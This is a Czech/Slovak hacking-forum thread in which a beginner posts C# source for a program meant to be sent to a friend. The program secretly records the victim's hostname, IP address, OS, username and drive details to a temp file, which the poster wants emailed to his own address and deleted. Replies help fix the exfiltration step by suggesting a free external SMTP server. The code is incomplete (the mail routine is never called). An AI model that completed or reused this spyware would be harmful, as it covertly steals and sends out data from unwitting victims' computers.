mail s prílohou v C#

HackForum

mail s prílohou v C##
Som zaciatocnik tak berte ohľad.Napisal som si prog ktory napr. odoslem kamaratovi a jeho info sa mi zapise do suboru, tento subor by sa mal nasledne odoslat na moj mail a vymazat.Potrebujem poradit s tym mailom, skusal som uz vela variant ale dakde robým chybu, odpovede typu vygoogli si to si mozte nechat, nepisem to sem preto ze som lenivy si to najst ale preto ze potrebujem helpa a neviem sa pohnut z miesta, kto chce pomoct pomoze..
tu je zdrojak:

using System;
using System.IO;
using System.Net.Mail;


class BlackEye
{
public static void Main(string[] args)
{
string mojhost = System.Net.Dns.GetHostName();
string[] mechaniky = Environment.GetLogicalDrives();
string myIP = System.Net.Dns.GetHostEntry(mojhost).Addres
sList[0].ToString();

Console.WriteLine("Working...");

using (StreamWriter sw = new StreamWriter(@"\..\Temp\black eye.txt"))
{
sw.WriteLine("HostName .................... {0}", mojhost);
sw.WriteLine("IP adresa ................... {0}", myIP);
sw.WriteLine("Verzia OS ................... {0}", Environment.OSVersion);
sw.WriteLine("Systémový adresár ........... {0}", Environment.SystemDirectory);
sw.WriteLine("Prihlásený užívateľ ......... {0}", Environment.UserName);
sw.WriteLine("Počet CPU ................... {0}", Environment.ProcessorCount);
sw.WriteLine("Mechaniky ................... {0}", String.Join(" ", mechaniky));

DriveInfo[] AllDrives = DriveInfo.GetDrives();
foreach (DriveInfo d in AllDrives)
{
sw.WriteLine("");
sw.WriteLine("Mechanika: {0}", d.Name);
sw.WriteLine(" Typ: {0}", d.DriveType);
if (d.IsReady == true)
{
sw.WriteLine(" Systém súborov: {0}", d.DriveFormat);
sw.WriteLine(" Využité miesto pre daného usera: {0} bytov", d.AvailableFreeSpace);
sw.WriteLine(" Celkové využité miesto: {0} bytov", d.TotalFreeSpace);
sw.WriteLine(" Celková kapacita mechaniky: {0} bytov ", d.TotalSize);
}
}
}
}
static void AttachmentFromFile()
{
//create the mail message
MailMessage mail = new MailMessage();

mail.From = new MailAddress("???");
mail.To.Add("mojmail@sharp.sk");

mail.Subject = "soom";
mail.Body = "telo správy..";

mail.Attachments.Add(new Attachment(@"\..\Temp\black eye.txt"));

SmtpClient smtp = new SmtpClient("127.0.0.1");
smtp.Send(mail);

}

}

dufam ze to bude citatelne(nvm ako to sformatuje), diky za kazdu rozumnu odpoved
(odpovědět)
wixo | E-mail30.12.2007 14:46
re: mail s prílohou v C##
IMHO na localhostu nejspis nepobezi SMTP server ;]
(odpovědět)
HC | 90.183.61.*30.12.2007 15:16
re: mail s prílohou v C##
na localhostu bude mit tezko nekdo smtp doporucuji vygooglit nejaky free smtp a hodit tam jeho ip
(odpovědět)
Gerlige_ | 85.160.109.*30.12.2007 15:30
re: mail s prílohou v C##
jo holt programování jsou jen jinak zapsané znalosti

----------
May the source be with you...
(odpovědět)
-=Punka][Tux=- | E-mail3.1.2008 5:13

Zpět
Svou ideální brigádu na léto najdete na webu Ideální brigáda
 
 
 

 
BBCode